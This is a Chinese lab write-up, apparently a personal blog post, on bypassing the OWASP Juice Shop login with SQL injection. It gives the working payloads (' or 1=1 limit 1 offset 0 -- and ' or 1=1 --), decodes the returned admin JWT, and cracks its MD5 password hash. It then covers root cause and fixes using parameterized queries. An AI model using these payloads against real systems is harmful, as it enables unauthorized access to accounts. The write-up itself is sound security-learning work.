SQL 注入实战:绕过登录验证,获取管理员身份

注意:本文实验均在个人本地部署、合法授权的靶场环境中完成,仅用于安全学习与漏洞分析。

一、实验目标与环境

1.1 实验目标

对登录接口进行 SQL 注入测试,验证是否能在不知道管理员密码的情况下登录,并结合源码分析漏洞根因及修复方式。

1.2 实验环境

项目 说明
实验目标 本地部署的授权靶场
目标地址 http://127.0.0.1:3000
测试工具 浏览器、Burp Suite
测试接口 POST /rest/user/login

二、正常登录流程与测试入口

2.1 捕获登录请求

首先在浏览器中随意填写一组账号密码,并使用 Burp Suite 抓取登录请求,以分析 Juice Shop 登录接口的基本结构。
image
抓取到的请求如下:

POST /rest/user/login HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 29
Origin: http://127.0.0.1:3000
Connection: keep-alive
Referer: http://127.0.0.1:3000/
Cookie: language=zh_CN; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=...
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0

{"email":" 1","password":"1"}

2.2 分析登录请求

从该请求可以看出,Juice Shop 的登录功能通过:

POST /rest/user/login

接口完成,并且用户名和密码并不是以传统表单参数的形式提交,而是放在 HTTP 请求体中,以 JSON 格式发送:

{
    "email": " 1",
    "password": "1"
}

其中 email 和 password 是后续测试中的可控参数。

2.3 确定测试位置

选择 email 字段作为测试入口,password 保持为相同的错误密码。

三、SQL 注入验证

3.1 构造并发送注入请求

将请求发送到 Burp Repeater,修改email字段(登录账号为email,优先使用字符型注入进行验证,基础的试探此处不做演示):
image

    POST /rest/user/login HTTP/1.1
    Host: 127.0.0.1:3000
    Content-Type: application/json

    {"email":"' or 1=1 limit 1 offset 0 --","password":"1"}

3.2 分析注入载荷

片段 预期作用
' 尝试闭合原来的字符串
OR 1=1 引入恒真条件,改变查询筛选逻辑
LIMIT 1 OFFSET 0 取查询结果中的第一条记录
-- 尝试注释后续 SQL 内容

注意:以上是载荷的预期作用,实际执行逻辑需要结合源码中的 SQL 结构确认。
没有明确排序时,第一条记录不保证始终是管理员。

3.3 分析服务端响应

关键响应内容:

    {
      "authentication": {
        "token": "<已省略>",
        "bid": 1,
        "umail": "admin@juice-sh.op"
      }
    }

记录观察结果:

- HTTP 状态码为 200。
- 响应包含 authentication 对象和登录令牌。
- 返回的用户邮箱为 admin@juice-sh.op。

判断依据:不能仅凭 200 判定绕过成功,需要结合身份字段以及令牌的实际使用结果。

四、管理员身份确认

4.1 查看 JWT 中的身份信息

JWT的结构:Header.Payload.Signature

"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJkYXRhIjp7ImlkIjoxLCJ1c2VybmFtZSI6IiIsImVtYWlsIjoiYWRtaW5AanVpY2Utc2gub3AiLCJwYXNzd29yZCI6IjAxOTIwMjNhN2JiZDczMjUwNTE2ZjA2OWRmMThiNTAwIiwicm9sZSI6ImFkbWluIiwiZGVsdXhlVG9rZW4iOiIiLCJsYXN0TG9naW5JcCI6IiIsInByb2ZpbGVJbWFnZSI6ImFzc2V0cy9wdWJsaWMvaW1hZ2VzL3VwbG9hZHMvZGVmYXVsdEFkbWluLnBuZyIsInRvdHBTZWNyZXQiOiIiLCJpc0FjdGl2ZSI6dHJ1ZSwiY3JlYXRlZEF0IjoiMjAyNi0wOS0yMiAxMDo1MzowNS45MzAgKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAyNi0wOS0yMiAxMDo1MzowNS45MzAgKzAwOjAwIiwiZGVsZXRlZEF0IjpudWxsfSwiYmlkIjoxLCJpYXQiOjE3OTAxNjU2NTd9.huAb8bkpiSCeCSLdC9revXLHEG84yUmGkGC875eQPIJp16GCDzOJLuIsyvNE0kTVZltxuUsdB5ZsTCYOrHqd5rSkRZDKJQc2BOpCHnL-YPy8NRK1OmdnWjerDYT9AcNwHr1N5zZJx89vzZQmRCQHBlfexlOCG_5mxO6h125lQW0",

Base64URL解码返回:
Header:

{
  "typ": "JWT",
  "alg": "RS256"
}

Payload:

{
  "data": {
    "id": 1,
    "username": "",
    "email": "admin@juice-sh.op",
    "password": "0192023a7bbd73250516f069df18b500",
    "role": "admin",
    "deluxeToken": "",
    "lastLoginIp": "",
    "profileImage": "assets/public/images/uploads/defaultAdmin.png",
    "totpSecret": "",
    "isActive": true,
    "createdAt": "2026-09-22 10:53:05.930 +00:00",
    "updatedAt": "2026-09-22 10:53:05.930 +00:00",
    "deletedAt": null
  },
  "bid": 1,
  "iat": 1790165657
}

由解码得出管理员的email及password,对password分析:
它是一个 32 位十六进制字符串,从格式上看很像MD5摘要值,查询彩虹表得知原文为admin123

4.2 结果验证

关闭burp suite的拦截功能,将得出的管理员账号密码输入登录界面进行验证:
image
image
由图得知,管理员身份登录成功。

4.3 前置补充

在登录界面的账号处直接构造此SQL语句' or 1=1 -- 密码随便输:
image
image
发现无需真实的admin管理员账号密码依旧实现了admin的登陆操作。

五、修复建议

5.1 使用参数化查询

通过参数绑定将用户输入作为数据处理,避免输入改变 SQL 语法结构。
image
image
源码由:

models.sequelize.query(
  `SELECT * FROM Users
   WHERE email = '${req.body.email}'
   AND password = '${security.hash(req.body.password)}'`
)

改为:

return (req: Request, res: Response, next: NextFunction) => {
    models.sequelize.query(
      `SELECT * FROM Users
       WHERE email = $1
       AND password = $2
       AND deletedAt IS NULL`,
      {
        bind: [
          req.body.email,
          security.hash(req.body.password)
        ],
        model: models.User,
        plain: true
      }
    )

原登录接口通过字符串拼接方式将 email 等用户输入直接加入 SQL 查询语句,导致用户输入可能改变原 SQL 的语法结构,从而产生 SQL 注入漏洞。修复后使用 Sequelize 的参数绑定机制,以 $1、$2 作为 SQL 占位符,并通过 bind 将邮箱和密码哈希作为参数传递。数据库将 SQL 语句结构和用户输入数据分离处理,因此用户输入不会再被解释为 SQL 语法,从而有效防止 SQL 注入。

5.2 增加密码强度校验

image
源代码由:

password: {
  type: DataTypes.STRING,
  set (clearTextPassword: string) {
    this.setDataValue('password', security.hash(clearTextPassword))
  }
}


改为

password: {
        type: DataTypes.STRING,
        set (clearTextPassword: string) {
          validatePasswordHasAtLeastTenChar(clearTextPassword)
          validatePasswordIsNotInTopOneMillionCommonPasswordsList(clearTextPassword)
          this.setDataValue('password', security.hash(clearTextPassword))
        }
      }

原代码在密码写入数据库前仅进行了哈希处理,没有对密码长度以及是否属于常见弱密码进行校验。修复后增加最小长度限制,并检测密码是否存在于常见弱密码字典中,从而降低弱密码被暴力破解或字典攻击的风险。

六、实验总结

本次实验以登录接口 POST /rest/user/login 为入口,通过 Burp Suite 捕获请求,分析 JSON 请求体中的 email 和 password 参数,并在 email 字段中构造 SQL 注入载荷。服务端随后返回了包含管理员邮箱的认证信息及登录令牌;在登录页面中使用注入载荷,也实现了无需真实管理员密码的登录。

结合文中展示的源码,可以确认漏洞根因是后端将 email 参数直接拼接进 SQL 查询。输入中的单引号、恒真条件和注释符改变了原有查询逻辑,使密码校验条件被绕过。后端又将查询得到的用户记录作为认证成功的依据,最终为管理员身份签发了令牌。因此,本次利用属于 SQL 注入导致的认证绕过,而不是 JWT 签名伪造。

实验还发现,返回的 JWT 载荷包含 password 字段。对该字段进行分析后,找到了与其哈希值匹配的弱密码,并通过正常登录进行了验证。这暴露出额外的问题:认证令牌携带了不必要的敏感信息,且管理员使用了容易被猜测的密码。需要区分的是,弱密码验证属于附加发现,SQL 注入绕过登录本身并不依赖获取真实密码。

针对 SQL 注入,核心修复措施是使用参数化查询,使用户输入作为数据参与查询,避免其改变 SQL 语法结构。密码强度校验和减少 JWT 中的敏感字段则分别用于降低弱密码及信息泄露风险。修复是否有效,还需要通过原始注入载荷、错误密码和正确凭据进行对照复测。

通过本次实验,我梳理了从可控输入、数据库查询到身份认证与令牌签发的完整链路。判断漏洞是否成立,不能只看响应状态码或页面提示,还应结合响应内容、实际登录身份与后端代码形成相互印证的证据。

posted @ 2026-09-23 21:29  网安新手  阅读(6)  评论(0)    收藏  举报